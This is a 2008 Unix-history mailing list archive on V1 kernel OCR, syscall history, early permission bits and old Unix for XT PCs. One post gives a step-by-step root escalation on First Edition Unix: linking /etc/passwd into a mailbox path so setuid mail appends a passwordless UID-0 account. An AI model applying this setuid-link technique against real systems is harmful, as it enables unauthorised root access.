a couple of hours of editing, it successfully assembles with a MACRO11 assembler modified for "as" syntax, with the only exception being that "fpsym" is undefined. It looks like the floating point emulation code is missing. Since this OCR is independent of the other work that has been done, a diff should provide an opportunity to fix any errors in the comments that would not have been caught by the assembler. Is there a place to upload this without a Google account? The assembler listing is about 416K. I wrote much of the bootstrap code a few weeks ago, so it ought to be straightforward to get this up and running under simulation. James Markevitch From andreww591 at gmail.com Thu May 1 18:03:39 2008 From: andreww591 at gmail.com (Andrew Warkentin) Date: Thu, 01 May 2008 02:03:39 -0600 Subject: [TUHS] PDP-7 Unix listings? Message-ID: <4819795B.9010009@gmail.com> A while ago, I heard someone (I can't remember who) say that he had a paper listing of (at least part of) PDP-7 Unix. How much is there in the way of surviving listings of PDP-7 Unix (if any)? With all of the discussion of OCRing the V1 Unix kernel listing, I was wondering if something similar could be done with PDP-7 Unix if enough listings have survived (which is sort of unlikely, but you never know). From brad at heeltoe.com Thu May 1 20:46:38 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 06:46:38 -0400 Subject: [TUHS] [Unix-jun72] Update on UNIX V1 OCR In-Reply-To: <200805010740.AAA12754@mist.magic.com> References: <200805010740.AAA12754@mist.magic.com> Message-ID: <23840.1209638798@mini> "James A. Markevitch" wrote: > >Since this OCR is independent of the other work that has been done, a >diff should provide an opportunity to fix any errors in the comments >that would not have been caught by the assembler. > >Is there a place to upload this without a Google account? The assembler >listing is about 416K. If you email me a tar file (or zip) I can put it on my website. I can receive email up to about 10mb. If it's larger than that I can set up with an ftp account. I'd also be happy to write a script to diff the files. >I wrote much of the bootstrap code a few weeks ago, so it ought to be >straightforward to get this up and running under simulation. yes - I found a program I wrote a while back which takes an a.out and turns it into a simh "load format". With that it's pretty easy to load and go in simh. The v1 man pages explain the "bos" load setup and give the rf bootstrap code. It should be pretty easy to boot up a "cold" version which preps the RF. I'm not sure about loading the file system from dectape however, but who knows, even that might be possible. -brad From jam at magic.com Fri May 2 02:36:42 2008 From: jam at magic.com (James A. Markevitch) Date: Thu, 1 May 2008 09:36:42 -0700 (PDT) Subject: [TUHS] [Unix-jun72] Update on UNIX V1 OCR Message-ID: <200805011636.JAA15648@mist.magic.com> > >Since this OCR is independent of the other work that has been done, a > >diff should provide an opportunity to fix any errors in the comments > >that would not have been caught by the assembler. > > > >Is there a place to upload this without a Google account? The assembler > >listing is about 416K. > > If you email me a tar file (or zip) I can put it on my website. I can > receive email up to about 10mb. If it's larger than that I can set up > with an ftp account. A compressed .tar.gz won't be very large. I can send it along when I get home late this evening. It's got 100% of the kernel source pages, so it should be able to fill in any holes. > I'd also be happy to write a script to diff the files. "diff -b" works fine, as does tkdiff :-). James Markevitch From wkt at tuhs.org Fri May 2 09:47:21 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 2 May 2008 09:47:21 +1000 Subject: [TUHS] Query on PDP-11 assembly In-Reply-To: <2da2ec620804300741i1bd39a48lf5b5ba09830793b4@mail.gmail.com> References: <20080430115651.GA86539@minnie.tuhs.org> <48187A41.80105@coraid.com> <2da2ec620804300741i1bd39a48lf5b5ba09830793b4@mail.gmail.com> Message-ID: <20080501234721.GA77412@minnie.tuhs.org> On Wed, Apr 30, 2008 at 11:41:17PM +0900, Naoki Hamada wrote: > This technique was a very common one in assembler sources for PDP-11 > versions of UNIX. For example, m40.s of Version 6 UNIX shows a line > "jsr r0,call1; _trap" in its trap routine. I feel very funny to > tell this to Warren, the author of apout! Well, I borrowed the PDP-11 instruction simulaton code from Eric Edwards, and spent most of my time on emulating the syscalls, so there are still things I don't know! I've got the disassembler to a point where it works OK on the instructions, I haven't worked on the data side yet. I have put it aside for a bit, due to increasing frustration levels and other things to do. If someone wants a copy, e-mail me. Thanks for all your responses, they were very useful. Cheers, Warren From wkt at tuhs.org Sat May 3 14:45:19 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 14:45:19 +1000 Subject: [TUHS] PATH variable In-Reply-To: <20080502.221259.74661438.imp@bsdimp.com> References: <20080502.221259.74661438.imp@bsdimp.com> Message-ID: <20080503044519.GA43894@minnie.tuhs.org> On Fri, May 02, 2008 at 10:12:59PM -0600, Warner Losh wrote: > So when did the PATH variable get introduced? The 1e manual says: If the 1st argument represents the path name of an executable file, it is invoked; otherwise the string "/bin/" is prepended to the argument. In this way the standard commands, which reside in "/bin" are found. The 3e manual extends the above: If no such command is found, the string "/usr" is further prepended (to give "/usr/bin/command") and another attempt is made to execute the resulting file. (Certain "overflow" commands live in "/usr/bin".) If the "/usr/bin" file exists, but is not executable, it is used by the shell as a command file. That is to say it is executed as though it were typed from the console. Manuals for 4e, 5e and 6e all say the above. The 7th Edition manual is the first to say: The shell parameter $PATH defines the search path for the directory containing the command. Each alternative directory name is separated by a colon (:) The default path is :/bin:/usr/bin. If the command name contains a / then the search path is not used. Otherwise, each directory in the path is searched for an executable file. If the file has execute permission but is not an a.out file, it is assumed to be a file containing shell commands. Cheers, Warren From newsham at lava.net Sun May 4 05:20:13 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 09:20:13 -1000 (HST) Subject: [TUHS] Some fun with 1st ed Message-ID: All work and no play... Here's a fun hack for first edition unix. From MAIL (I) : When followed by the names of a letter and one or more people, the letter is appended to each person's mailbox. Each letter is preceded by the sender's name and a postmark. A person is either the nameof an entry in the directory /usr, in which case the mail is sent to /usr/person/mailbox, or the path of a directory, in which case mailbox in that directory is used. Mail is setuid root: # ls -l /bin/mail 80 surwr- 1 root 3940 Jan 1 00:00:00 mail login as a non-root user (ie "bin"), create a file "letter" with the contents "hack::0:/:". Run: @ ln /etc/passwd /tmp/mailbox @ mail letter /tmp log out and log back in as "hack". You are now root. Cat /etc/passwd and notice: From bin Jan 1 00:49:22 hack::0:/: clean up the file a little and enjoy your new elevated status. Tim Newsham http://www.thenewsh.com/~newsham/ From lm at bitmover.com Sun May 4 05:24:00 2008 From: lm at bitmover.com (Larry McVoy) Date: Sat, 3 May 2008 12:24:00 -0700 Subject: [TUHS] Some fun with 1st ed In-Reply-To: References: Message-ID: <20080503192359.GA11882@bitmover.com> We need to send out a security alert immediately. This is serious. On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote: > All work and no play... > > Here's a fun hack for first edition unix. From MAIL (I) : > > When followed by the names of a letter and one or more people, the > letter is appended to each person's mailbox. Each letter is > preceded by the sender's name and a postmark. > > A person is either the nameof an entry in the directory /usr, in > which case the mail is sent to /usr/person/mailbox, or the path > of a directory, in which case mailbox in that directory is used. > > Mail is setuid root: > > # ls -l /bin/mail > 80 surwr- 1 root 3940 Jan 1 00:00:00 mail > > login as a non-root user (ie "bin"), create a file "letter" with the > contents "hack::0:/:". Run: > > @ ln /etc/passwd /tmp/mailbox > @ mail letter /tmp > > log out and log back in as "hack". You are now root. Cat /etc/passwd > and notice: > > From bin Jan 1 00:49:22 > hack::0:/: > > clean up the file a little and enjoy your new elevated status. > > Tim Newsham > http://www.thenewsh.com/~newsham/ > _______________________________________________ > TUHS mailing list > TUHS at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/tuhs -- --- Larry McVoy lm at bitmover.com http://www.bitkeeper.com From newsham at lava.net Sun May 4 05:34:14 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 09:34:14 -1000 (HST) Subject: [TUHS] Some fun with 1st ed In-Reply-To: <20080503192943.GC69106@freebie.xs4all.nl> References: <20080503192359.GA11882@bitmover.com> <20080503192943.GC69106@freebie.xs4all.nl> Message-ID: > Quoting Larry McVoy, who wrote on Sat, May 03, 2008 at 12:24:00PM -0700 .. >> We need to send out a security alert immediately. This is serious. > > CERT to the rescue! Man the barricades ! I did this once with a 7th edition vuln. I think one is probably the limit :) http://www.securityfocus.com/archive/1/365038 >> Larry McVoy lm at bitmover.com http://www.bitkeeper.com > Wilko Tim Newsham http://www.thenewsh.com/~newsham/ From wb at freebie.xs4all.nl Sun May 4 05:29:43 2008 From: wb at freebie.xs4all.nl (Wilko Bulte) Date: Sat, 3 May 2008 21:29:43 +0200 Subject: [TUHS] Some fun with 1st ed In-Reply-To: <20080503192359.GA11882@bitmover.com> References: <20080503192359.GA11882@bitmover.com> Message-ID: <20080503192943.GC69106@freebie.xs4all.nl> Quoting Larry McVoy, who wrote on Sat, May 03, 2008 at 12:24:00PM -0700 .. > We need to send out a security alert immediately. This is serious. CERT to the rescue! Man the barricades ! ;-) > On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote: > > All work and no play... > > > > Here's a fun hack for first edition unix. From MAIL (I) : > > > > When followed by the names of a letter and one or more people, the > > letter is appended to each person's mailbox. Each letter is > > preceded by the sender's name and a postmark. > > > > A person is either the nameof an entry in the directory /usr, in > > which case the mail is sent to /usr/person/mailbox, or the path > > of a directory, in which case mailbox in that directory is used. > > > > Mail is setuid root: > > > > # ls -l /bin/mail > > 80 surwr- 1 root 3940 Jan 1 00:00:00 mail > > > > login as a non-root user (ie "bin"), create a file "letter" with the > > contents "hack::0:/:". Run: > > > > @ ln /etc/passwd /tmp/mailbox > > @ mail letter /tmp > > > > log out and log back in as "hack". You are now root. Cat /etc/passwd > > and notice: > > > > From bin Jan 1 00:49:22 > > hack::0:/: > > > > clean up the file a little and enjoy your new elevated status. > > > > Tim Newsham > > http://www.thenewsh.com/~newsham/ > > _______________________________________________ > > TUHS mailing list > > TUHS at minnie.tuhs.org > > https://minnie.tuhs.org/mailman/listinfo/tuhs > > -- > --- > Larry McVoy lm at bitmover.com http://www.bitkeeper.com > _______________________________________________ > TUHS mailing list > TUHS at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/tuhs --- end of quoted text --- -- Wilko From newsham at lava.net Sun May 4 16:29:06 2008 From: newsham at lava.net (Tim Newsham) Date: Sat, 3 May 2008 20:29:06 -1000 (HST) Subject: [TUHS] comparing s1 frags, s2 bits, 1ed and jun72 print out In-Reply-To: References: Message-ID: Some notes about the s1 frags in the 1972_stuff archive in relation to 1st edition manual, s2 files and the jun72 printout: - s1 init mounts several filesystems and runs several commands directly. s2 init doesn't mount anything. init.s in the jun72 printout mounts /usr. The 1ed manual describes init as mounting an rk disk on /usr. - init.s uses syscall to get console switches. The s2 init and the init.s in jun72 printout read them directly. S1 uses syscall 38. jun72 printout only has syscalls through 33. 1ed manual only lists syscalls through 33 (SYS ILGINS (II)). - init.s compares with $173030. The 1ed manual and jun72 printout compare with $73700 as does the init from s2. - ls.s uses /etc/passwd. 1ed ls.s uses /etc/uids as passwd is not readable by normal users. I think this points to the jun72 bits being closely related to 1ed, the s2 files as being slightly newer, and the s1 frags as being a bit newer than that. Tim Newsham http://www.thenewsh.com/~newsham/ From angus at fairhaven.za.net Wed May 7 09:58:11 2008 From: angus at fairhaven.za.net (Angus Robinson) Date: Wed, 07 May 2008 01:58:11 +0200 Subject: [TUHS] xt Message-ID: <4820F093.5030100@fairhaven.za.net> Hi I have a few xt computers and would like to put some old unix OS on, what unix would you guys recommend for it ? most of the unix that i have tried to search for are for machines that are older than xt. Regards, Angus From cowan at ccil.org Wed May 7 10:06:45 2008 From: cowan at ccil.org (John Cowan) Date: Tue, 6 May 2008 20:06:45 -0400 Subject: [TUHS] xt In-Reply-To: <4820F093.5030100@fairhaven.za.net> References: <4820F093.5030100@fairhaven.za.net> Message-ID: <20080507000645.GF20556@mercury.ccil.org> Angus Robinson scripsit: > Hi > > I have a few xt computers and would like to put some old unix OS on, > what unix would you guys recommend for it ? most of the unix that i have > tried to search for are for machines that are older than xt. Check out elks.sf.net. > > Regards, > Angus > _______________________________________________ > TUHS mailing list > TUHS at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/tuhs -- After fixing the Y2K bug in an application: John Cowan WELCOME TO cowan at ccil.org DATE: MONDAK, JANUARK 1, 1900 http://www.ccil.org/~cowan From wkt at tuhs.org Wed May 7 11:55:19 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 11:55:19 +1000 Subject: [TUHS] xt In-Reply-To: <4820F093.5030100@fairhaven.za.net> References: <4820F093.5030100@fairhaven.za.net> Message-ID: <20080507015519.GA78779@minnie.tuhs.org> On Wed, May 07, 2008 at 01:58:11AM +0200, Angus Robinson wrote: > I have a few xt computers and would like to put some old unix OS on, > what unix would you guys recommend for it ? most of the unix that i have > tried to search for are for machines that are older than xt. Has anybody got a working copy of PC/IX? Apparently it was not a bad version of Unix for x86. Warren From wes.parish at paradise.net.nz Wed May 7 19:21:38 2008 From: wes.parish at paradise.net.nz (Wesley Parish) Date: Wed, 07 May 2008 21:21:38 +1200 Subject: [TUHS] xt In-Reply-To: <4820F093.5030100@fairhaven.za.net> References: <4820F093.5030100@fairhaven.za.net> Message-ID: <200805072121.38774.wes.parish@paradise.net.nz> I think Xenix might run. On Wednesday 07 May 2008 11:58, Angus Robinson wrote: > Hi > > I have a few xt computers and would like to put some old unix OS on, > what unix would you guys recommend for it ? most of the unix that i have > tried to search for are for machines that are older than xt. > > > Regards, > Angus > _______________________________________________ > TUHS mailing list > TUHS at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/tuhs -- Clinersterton beademung, with all of love - RIP James Blish ----- Gaul is quartered into three halves. Things which are impossible are equal to each other. Guerrilla warfare means up to their monkey tricks. Extracts from "Schoolboy Howlers" - the collective wisdom of the foolish. ----- Mau e ki, he aha te mea nui? You ask, what is the most important thing? Maku e ki, he tangata, he tangata, he tangata. I reply, it is people, it is people, it is people. From angus at fairhaven.za.net Thu May 8 02:13:48 2008 From: angus at fairhaven.za.net (Angus Robinson) Date: Wed, 07 May 2008 18:13:48 +0200 Subject: [TUHS] xt In-Reply-To: <4820F093.5030100@fairhaven.za.net> References: <4820F093.5030100@fairhaven.za.net> Message-ID: <4821D53C.4000305@fairhaven.za.net> Angus Robinson wrote: > Hi > > I have a few xt computers and would like to put some old unix OS on, > what unix would you guys recommend for it ? most of the unix that i have > tried to search for are for machines that are older than xt. > > > Regards, > Angus > _______________________________________________ > TUHS mailing list > TUHS at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/tuhs > Trying to find something else for unix, i came across this http://209.85.135.104/search?q=cache:lcSNV-blOiYJ:nordier.com/v7x86/doc/v7x86intro.pdf+using+ed+on+unix+v7&hl=en&ct=clnk&cd=2&gl=za Seems to be for x86 :) Regards, Angus From lyricalnanoha at dosius.ath.cx Thu May 8 02:20:42 2008 From: lyricalnanoha at dosius.ath.cx (lyricalnanoha) Date: Wed, 7 May 2008 12:20:42 -0400 (EDT) Subject: [TUHS] xt In-Reply-To: <4821D53C.4000305@fairhaven.za.net> References: <4820F093.5030100@fairhaven.za.net> <4821D53C.4000305@fairhaven.za.net> Message-ID: On Wed, 7 May 2008, Angus Robinson wrote: > > > Angus Robinson wrote: >> Hi >> >> I have a few xt computers and would like to put some old unix OS on, >> what unix would you guys recommend for it ? most of the unix that i have >> tried to search for are for machines that are older than xt. >> >> >> Regards, >> Angus >> _______________________________________________ >> TUHS mailing list >> TUHS at minnie.tuhs.org >> https://minnie.tuhs.org/mailman/listinfo/tuhs >> > > Trying to find something else for unix, i came across this > > http://209.85.135.104/search?q=cache:lcSNV-blOiYJ:nordier.com/v7x86/doc/v7x86intro.pdf+using+ed+on+unix+v7&hl=en&ct=clnk&cd=2&gl=za > > Seems to be for x86 :) > > Regards, > Angus 386, won't run on an XT -uso. From cyrille.lefevre-lists at laposte.net Thu May 8 01:14:55 2008 From: cyrille.lefevre-lists at laposte.net (Cyrille Lefevre) Date: Wed, 07 May 2008 17:14:55 +0200 Subject: [TUHS] xt In-Reply-To: <20080507015519.GA78779@minnie.tuhs.org> References: <4820F093.5030100@fairhaven.za.net> <20080507015519.GA78779@minnie.tuhs.org> Message-ID: <4821C76F.6010200@laposte.net> Warren Toomey a écrit : > On Wed, May 07, 2008 at 01:58:11AM +0200, Angus Robinson wrote: >> I have a few xt computers and would like to put some old unix OS on, >> what unix would you guys recommend for it ? most of the unix that i have >> tried to search for are for machines that are older than xt. > > Has anybody got a working copy of PC/IX? Apparently it was not a bad > version of Unix for x86. I have to check if the media are still readable ? :) ditto about xenix, sco unix, etc... Regards, Cyrille Lefevre -- mailto:Cyrille.Lefevre-lists at laposte.net From gerberb at zenez.com Thu May 8 03:26:06 2008 From: gerberb at zenez.com (Boyd Lynn Gerber) Date: Wed, 7 May 2008 11:26:06 -0600 Subject: [TUHS] xt In-Reply-To: <4821C76F.6010200@laposte.net> References: <4820F093.5030100@fairhaven.za.net> <20080507015519.GA78779@minnie.tuhs.org> <4821C76F.6010200@laposte.net> Message-ID: On Wed, 7 May 2008, Cyrille Lefevre wrote: > Warren Toomey a écrit : > > On Wed, May 07, 2008 at 01:58:11AM +0200, Angus Robinson wrote: > >> I have a few xt computers and would like to put some old unix OS on, > >> what unix would you guys recommend for it ? most of the unix that i have > >> tried to search for are for machines that are older than xt. > > > > Has anybody got a working copy of PC/IX? Apparently it was not a bad > > version of Unix for x86. > > I have to check if the media are still readable ? :) > ditto about xenix, sco unix, etc... I still have floopy images for XENIX and SCO UNIX 3.2v2.?, 3.2v4.0, 3.2v4.2. SCO had to pay royalties on every media shiped. I can make them available with proof of purchase. I am allowed to give all but one of each set. I do not have the licence keys and activation keys available or a way of generating them. I had PC/IX, but I have been unable to find the orignal media. I do not seem to have it in my archive. -- Boyd Gerber ZENEZ 1042 East Fort Union #135, Midvale Utah 84047 From dpeschel at eskimo.com Thu May 15 11:30:20 2008 From: dpeschel at eskimo.com (Derek Peschel) Date: Wed, 14 May 2008 18:30:20 -0700 Subject: [TUHS] Setting System V up for local echo TTYs? Message-ID: <20080514183020.C4433@eskimo.com> A friend of mine has gotten an AT&T 3B2 running at the Vintage Telephone Equipment Museum here in Seattle. A Teletype model 33 and a 37 can now also connect (through a small step-by-step switch and then a #5 crossbar) to the computer. Even if System V is not exactly classic UNIX, I hope the configuration as a whole counts. The 33 has local echo. The 37 has it too (but supposedly that's easier to change). I've been experimenting with the correct stty settings, but it's hard to get everything right. Mostly I've been experimenting with the 33 since the 37 just started working yesterday. Could some setting cause line feeds to intermittently not happen, so that two lines are overprinted? I'm wondering if this is due to a mechanical problem in the 33, or to line noise (which I know we are having) because I can't see much pattern to when lines are being overprinted. Are there any input settings that allow me to use LINE FEED and CAR RET interchangeably as line terminators in canonical mode? I'm assuming they won't affect the output settings, so that programs can print NL (which becomes CRLF) or CR (which stays CR). Is the terminal driver smart enough to print the LF character while the CR is happening, so I can shorten the delay settings? That's only dealing with output. Is the driver smart enough to change the timing when dealing with input? (since the driver can't change the LF key into CRLF because the LF is already happening when the driver sees it). I have tabs expanded on output. Can I get the terminal driver to expand them as input is being echoed? And what controls echoing of login names? (besides /etc/gettydefs) We want to turn that off for certain lines. If you need more details, they will have to wait until Tuesday. Sorry. And does anyone have any ideas about interesting ways to demonstrate the features of the 37, 43, and 5610? I thought eqn might be smart enough to use the half and reverse line feeds, and vertical tabs, of our 37. Does any software know about the ribbon colors? What about software to control tape readers and punches? We probably don't have the extra 32 printing characters that dmr's pages on early UNIX mention. Thanks, -- Derek From wkt at tuhs.org Sun May 18 17:58:20 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 18 May 2008 17:58:20 +1000 Subject: [TUHS] 1st Edition UNIX syscalls Message-ID: <20080518075820.GA75584@minnie.tuhs.org> Working with the 1st Edition UNIX code has been a blast. I just thought I'd quickly summarise the features of the 1st Edition. It's quite amazing the system that had been written by the end of 1971: - a multitasking system with up to 16 processes - multiple users - a hierachical filesystem, with empty directories used as mountpoints - read/write file protection for user/other (no group), plus the execute and set-userid bits - i-nodes, and filenames separated from i-nodes, allowing hard links - device files Just as interesting is the fact that, out of the 33 system calls in 1st Edition UNIX, only one has disappeared completely from modern UNIXes; four have merged into signal(), and a few have morphed into other syscalls: V1_RELE 0 /* release the CPU, i.e. pre-empt this process */ V1_EXIT 1 exit() V1_FORK 2 fork() V1_READ 3 read() V1_WRITE 4 write() V1_OPEN 5 open() V1_CLOSE 6 close() V1_WAIT 7 wait() V1_CREAT 8 open(path, O_CREAT | O_TRUNC | O_WRONLY, mode); V1_LINK 9 link() V1_UNLINK 10 unlink() V1_EXEC 11 exec() V1_CHDIR 12 chdir() V1_TIME 13 gettimeofday() V1_MKDIR 14 mkdir() V1_CHMOD 15 chmod() V1_CHOWN 16 chown() V1_BREAK 17 brk() V1_STAT 18 stat() V1_SEEK 19 lseek() V1_TELL 20 lseek(fd, 0, SEEK_CUR); V1_MOUNT 21 mount() V1_UMOUNT 22 umount() V1_SETUID 23 setuid() V1_GETUID 24 getuid() V1_STIME 25 settimeofday() V1_QUIT 26 signal(SIGQUIT,...) V1_INTR 27 signal(SIGINT,...) V1_FSTAT 28 fstat() V1_CEMT 29 signal(SIGEMT,...) V1_SMDATE 30 utimes() V1_STTY 31 fcntl(), tcsetattr() V1_GTTY 32 fcntl(), tcgetattr() V1_ILGINS 33 signal(SIGILL,...) The fact that we are still using these system calls today speaks volumes for the original design. Cheers, Warren From wkt at tuhs.org Sun May 18 23:26:06 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sun, 18 May 2008 23:26:06 +1000 Subject: [TUHS] Later UNIX syscalls Message-ID: <20080518132606.GA83541@minnie.tuhs.org> While I'm investigating the legacy of the UNIX syscalls, I might as well go into the later versions. 2nd Edition UNIX kept all the syscalls of 1st Edition, and added these: 34 hog lower process priority, becomes nice() 35 sleep sleep() 36 sync sync() 37 kill kill() 38 getcsw reads console switches: this goes away in 7th Edition 3rd Edition UNIX kept all the syscalls of 2nd Edition, and added these: 39 boot reboot the system, becomes reboot() 40 fpe catch floting point errors, becomes signal(SIGFPE, ...) 41 dup dup() 42 pipe pipe() 43 times get process time details, becomes getrusage() Note pipe() appears in the 3rd Edition, which was still in assembly. 4th Edition UNIX is the first kernel written in C. We start to see changes: 14 mknod was mkdir(), now can make directories and device files 34 nice was hog() 20 tell goes away, as seek() does the same job 44 profil profil() 45 tiu interface to Spider digital switching network: goes away 46 setgid setgid() 47 getgid getgid() 48 signal signal() It's interesting to note that signal() appears, but the existing signal-like syscalls do not disappear just yet, although tell() does go away. It's also to note that seek() has the usual 0=SEEK_SET, 1=SEEK_CUR, 2=SEEK_END, but there are also 3, 4, 5 which mean the same except that offsets are multiplied by 512 bytes. This is to do long seeks on block devices. Earlier UNIX kernels automatically multiplied offsets on block devices by 512, but now the task of doing this has been shifted to the process. In 5th Edition, we see some more changes: 20 getpid getpid(), fills the slot vacated by tell() 26 quit goes away to be replaced with signal(SIGQUIT, ...) 27 intr goes away to be replaced with signal(SIGINT, ...) 29 cemt goes away to be replaced with signal(SIGEMT, ...) 33 ilgins goes away to be replaced with signal(SIGILL, ...) 39 boot goes away 40 fpe goes away to be replaced with signal(SIGFPE, ...) 45 tiu goes away 6th Edition has few changes over 5th Edition: 26 ptrace ptrace(), fills the slot vacated by quit() 30 smdate becomes inoperative 7th Edition has some significant changes over 6th Edition: 27 alarm alarm(), fills the slot vacated by intr() 29 pause pause(), fills the slot vacated by cemt() 30 utime utime(), replaces the missing smdate() 33 access access(), fills the slot vacated by ilgins() 35 ftime get date and time, later becomes gettimeofday() 38 getcsw goes away 39 setpgrp setpgrp(), but not yet implemented, i.e. reserved slot 49 unused 50 unused 51 sysacct turn accounting off/on 52 sysphys set user physical addresses 53 syslock lock user in core 54 ioctl ioctl() 55 unused 56 mpxchan create mpx communications channel 57 unused 58 unused 59 exece execve(), note that existing syscall 11 exec() has no envp[] 60 umask umask() 61 chroot chroot() Note that 35 sleep() is now gone, as its functionality can be simulated with 27 alarm(). Cheers, Warren From jam at magic.com Mon May 19 00:33:33 2008 From: jam at magic.com (James A. Markevitch) Date: Sun, 18 May 2008 07:33:33 -0700 (PDT) Subject: [TUHS] Kernel built under V1 Message-ID: <200805181433.HAA01780@mist.magic.com> For fun, I tried building the kernel under V1 and booting it and it looks like it simply works. I did the following, outside the simulator: tools/assemv2 mkdir fs/usr/kernel cp -pi build/u?.s fs/usr/kernel tools/imgbuild boot/installboot tools/pdp11 boot/simh.cfg Then, I logged in as root and did: chdir /usr/kernel as u?.s chdir ../boot sh run msys2 u ../kernel/a.out More realistically, the kernel should be built in /usr/sys. James Markevitch From wkt at tuhs.org Mon May 19 08:03:26 2008 From: wkt at tuhs.org (Warren Toomey) Date: Mon, 19 May 2008 08:03:26 +1000 Subject: [TUHS] Later UNIX syscalls In-Reply-To: <20080518.154005.152643227461321888.cfmd@bredband.net> References: <20080518132606.GA83541@minnie.tuhs.org> <20080518.154005.152643227461321888.cfmd@bredband.net> Message-ID: <20080518220326.GB16976@minnie.tuhs.org> On Sun, May 18, 2008 at 03:40:05PM +0200, Magnus Danielson wrote: > Warren! > Thanks for a couple of interesting posts!!! > Makes me want to read some source... you seems to have it at hand. > Where is it? Most of it is here: http://www.tuhs.org/Archive/PDP-11/Distributions/research/ which includes source for 5th, 6th and 7th Editions, and a kernel written just before 4th Edition. We don't have 2nd, 3rd, or 4th Edition source, but the 3rd and 4th Edition manuals are in there. The source to the 1st Edition UNIX kernel has recently been found in a paper document, available at http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/PreliminaryUnixImplementationDocument_Jun72.pdf. Cheers, Warren From arnold at skeeve.com Wed May 21 04:58:21 2008 From: arnold at skeeve.com (Aharon Robbins) Date: Tue, 20 May 2008 21:58:21 +0300 Subject: [TUHS] V8 - V10? Message-ID: <200805201858.m4KIwL2n004195@skeeve.com> Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS? Thanks, Arnold Robbins From wkt at tuhs.org Wed May 21 14:32:24 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 21 May 2008 14:32:24 +1000 Subject: [TUHS] Early UNIX file permission oddity Message-ID: <20080521043224.GA32712@minnie.tuhs.org> I was just browsing through the 1974 UNIX CACM paper, the one that first publicly described the design and functionality of UNIX. I came across some sentences which describe the file permissions, and they sounded quite odd: When a file is created, it is marked with the user ID of its owner. Also given for new files is a set of seven protection bits. Six of these specify independently read, write, and execute permission for the owner of the file and for all other users. [The seventh bit is the set-user-id bit. ] This seems to indicate that there are "rwx" bits for owner, "rwx" bits for other, and no "rwx" bits for group. I've never seen a UNIX system with 6 file permission bits, so I thought I would poke around to see what I could find. It turns out that none of the source code or document artifacts that we have describe a UNIX system with just 6 "rwxrwx" bits: there are either "rw" user, "rw" other and a separate execute bit, or the modern 9 "rwxrwxrwx" permission bits. 1st Edition UNIX (Nov 1971) has these permission bits for an i-node: #define I_SETUID 0000040 set-user-id #define I_EXEC 0000020 a single execute bit #define I_UREAD 0000010 #define I_UWRITE 0000004 read/write for user #define I_OREAD 0000002 #define I_OWRITE 0000001 read/write for other 3rd Edition UNIX (Feb 1973) has these permission bits for an i-node: 000040 set user ID on execution 000020 executable 000010 read, owner 000004 write, owner 000002 read, non-owner 000001 write, non-owner i.e same as for 1st Edition By the time we get to the Nsys kernel (Aug 1973, just before 4th Edition UNIX), the system has the concept of groups and the setgid() & getgid() system calls. The inode.h header file defines these permission bits: #define ISUID 04000 #define ISGID 02000 #define IREAD 0400 #define IWRITE 0200 #define IEXEC 0100 This is a bit unclear, but the code for the access() kernel function implies that there are read/write/execute bits for user, group and other. Here is the code for access() with my comments: /* Determine if the current user can access a file with the given mode */ access(ip, mode) int *ip; { register *rip; if(u.u_uid == 0) /* root can access all files */ return(0); rip = ip; if(u.u_uid != rip->i_uid) { /* not owner, shift mode 3 bits, lose */ mode =>> 3; /* user bits, replace with group bits */ if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */ mode =>> 3; /* group bits, replace with other bits */ } if((rip->i_mode&mode) != 0) /* If mode mask and file's mode leave */ return(0); /* some bits enabled, allow access */ u.u_error = EACCES; return(1); } And when we get to the 4th Edition (Nov 1973), the filesystem manual gives these permissions: 000400 read (owner) 000200 write (owner) 000100 execute (owner) 000070 read, write, execute (group) 000007 read, write, execute (others) So, editions up to the 3rd Edition had "rwrw" + "x"; the Nsys kernel and onwards had "rwxrwxrwx" permission bits. The only possibility that I can see is, as 3rd Edition was being rewritten from assembly into C, the filesystem went through a stage where there "rwx" execute bits for user, and "rxw" execute bits for other as the CACM paper described, but groups had not been introduced yet. Then, the idea of groups was added: the i-node structure had the i_gid field added, and the access() function was extended with the lines: if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */ mode =>> 3; /* group bits, replace with other bits */ I'll have to ask Dennis is this sounds plausible. Cheers, Warren From wb at freebie.xs4all.nl Wed May 21 16:15:15 2008 From: wb at freebie.xs4all.nl (Wilko Bulte) Date: Wed, 21 May 2008 08:15:15 +0200 Subject: [TUHS] Early UNIX file permission oddity In-Reply-To: <20080521043224.GA32712@minnie.tuhs.org> References: <20080521043224.GA32712@minnie.tuhs.org> Message-ID: <20080521061515.GA73871@freebie.xs4all.nl> Quoting Warren Toomey, who wrote on Wed, May 21, 2008 at 02:32:24PM +1000 .. > I was just browsing through the 1974 UNIX CACM paper, the one that first > publicly described the design and functionality of UNIX. I came across > some sentences which describe the file permissions, and they sounded quite odd: > > When a file is created, it is marked with the user ID of its owner. > Also given for new files is a set of seven protection bits. > Six of these specify independently read, write, and execute permission > for the owner of the file and for all other users. [The seventh bit > is the set-user-id bit. ] > > This seems to indicate that there are "rwx" bits for owner, "rwx" bits for other, > and no "rwx" bits for group. I've never seen a UNIX system with 6 file > permission bits, so I thought I would poke around to see what I could find. It Well, I have a UNIX-like system sitting in my basement that has this. This is a TSC Uniflex system running on a Motorola MC6809 CPU. 8 bit CPU in other words. .. Wilko From cowan at ccil.org Wed May 21 21:08:51 2008 From: cowan at ccil.org (John Cowan) Date: Wed, 21 May 2008 07:08:51 -0400 Subject: [TUHS] Early UNIX file permission 